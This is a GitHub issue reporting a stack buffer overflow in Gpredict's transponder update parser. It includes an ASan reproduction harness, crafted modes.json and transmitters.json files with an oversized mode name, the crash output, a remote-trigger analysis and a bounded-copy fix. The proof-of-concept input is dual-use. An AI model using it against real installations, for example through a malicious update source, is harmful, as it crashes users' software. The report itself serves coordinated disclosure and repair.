Skip to content

Stack-Based Buffer Overflow in Gpredict Transponder Update Parser #399

@yanghuiyao779-blip

Description

@yanghuiyao779-blip

1. Summary

  • Product: Gpredict
  • Vulnerability type: Stack-based buffer overflow
  • CWE: CWE-121
  • Affected component: Transponder update parsing path (trsp_update_files)
  • Verified on code base: 2a57f14693e0af49235dc80c905f54a058fabc07 (current HEAD used for validation)
  • Exploitability: Reliable crash (DoS) confirmed; remotely triggerable under specific conditions (see
    section 5)

2. Vulnerability Description

In the transponder update workflow, Gpredict loads mode names from modes.json into an in-memory mode
table. Later, while processing transmitters.json, it resolves mode_id and copies the corresponding
mode name into a local stack buffer m_trsp.mode.

The destination buffer is 20 bytes, but the copy uses unbounded sprintf, so any mode name longer than
19 bytes causes a stack overflow.

Key code references:

3. Technical Data Flow

  1. modes.json is parsed; name is copied into m_modes.name (up to 79 chars) and duplicated into
    nmode->modname.
  2. transmitters.json is parsed; mode_id is used to look up nmode.
  3. sprintf(m_trsp.mode, "%s", nmode->modname) writes attacker-controlled data into a 20-byte stack
    buffer without bounds checking.

4. Reproduction (ASan, minimal harness)

Prerequisites: development packages for glib-2.0, gtk+-3.0, libcurl; working pkg-config and
cc.

bash

  cd /path/to/gpredict
  set -euo pipefail

TMPDIR=$(mktemp -d /tmp/gpredict-vuln1-XXXXXX)

cat > "$TMPDIR/harness.c" <<'EOF'
 #include <glib.h>
 void trsp_update_files(gchar * input_file);
 int main(void) {
     trsp_update_files("/tmp/gpredict-vuln1-input/transmitters.json");
     return 0;
 }
 EOF
  mkdir -p /tmp/gpredict-vuln1-input
  cat > /tmp/gpredict-vuln1-input/modes.json <<'EOF'
  [{"id":1,"name":"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"}]
  EOF
cat > /tmp/gpredict-vuln1-input/transmitters.json <<'EOF'
[{"description":"demo","norad_cat_id":12345,"uplink_low":1,"uplink_high":2,"downlink_low":3,"downlink_h
igh":4,"mode_id":1,"invert":0,"baud":0,"alive":1}]
EOF
  mkdir -p /tmp/.config/Gpredict/trsp
  cp /tmp/gpredict-vuln1-input/modes.json /tmp/.config/Gpredict/trsp/modes.json

  cc -fsanitize=address -g -I. -Isrc \
    -DPACKAGE_DATA_DIR='"/tmp"' -DPACKAGE_PIXMAPS_DIR='"/tmp"' \
    -o "$TMPDIR/harness" \
    "$TMPDIR/harness.c" src/trsp-update.c src/nxjson/nxjson.c src/gpredict-utils.c src/sat-log.c src/
  compat.c src/sat-cfg.c src/strnatcmp.c \
    $(pkg-config --cflags --libs glib-2.0 gtk+-3.0 libcurl)

HOME=/tmp "$TMPDIR/harness"

  Observed result (excerpt):

  ERROR: AddressSanitizer: stack-buffer-overflow
  WRITE of size 65
  #2 ... in trsp_update_files src/trsp-update.c:290
  SUMMARY: AddressSanitizer: stack-buffer-overflow ... in __interceptor_vsprintf

5. Trigger Conditions and Remote Reachability

  • Local trigger: any local attacker able to place crafted files in ~/.config/Gpredict/trsp/ can trigger
    this.
  • Remote trigger (conditional): when user initiates “Update transponder data”, Gpredict downloads modes
    and transmitters from configured server and parses them.

Relevant references:

  • Default transponder update source config: src/sat-cfg.c:228-src/sat-cfg.c:230
  • Network fetch path: src/trsp-update.c:408, src/trsp-update.c:563
  • Parsing entry after fetch: src/trsp-update.c:686
  • UI action binding: src/menubar.c:901-src/menubar.c:903

Note: this is not an unauthenticated zero-click scenario; user action (or equivalent workflow call) is
required. Remote exploitation depends on control over update content (e.g., compromised upstream,
malicious mirror, or user-configured malicious endpoint).

6. Impact

  • Confirmed: application crash / denial of service.
  • Potential: memory corruption beyond DoS is theoretically possible; practical code execution was not
    validated in this report.

7. Recommended Fix

  1. Replace unbounded write with bounded copy:
  if (nmode != NULL)
      g_strlcpy(m_trsp.mode, nmode->modname, sizeof(m_trsp.mode));
  else
      g_snprintf(m_trsp.mode, sizeof(m_trsp.mode), "%lli",
                 nx_json_get(json_obj, "mode_id")->int_value);
  1. Enforce strict maximum length for mode names during JSON parsing; reject oversized values and log
    validation errors.
  2. Add regression tests for oversized mode names (must not crash).
  3. Add sanitizer-backed CI jobs (ASan/UBSan) for update parser paths.

8. Disclosure Notes

  • This issue appears suitable for coordinated disclosure and CVE assignment.
  • Suggested wording: “remote trigger under controlled update source + user update action”, rather than
    implying guaranteed zero-click RCE.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions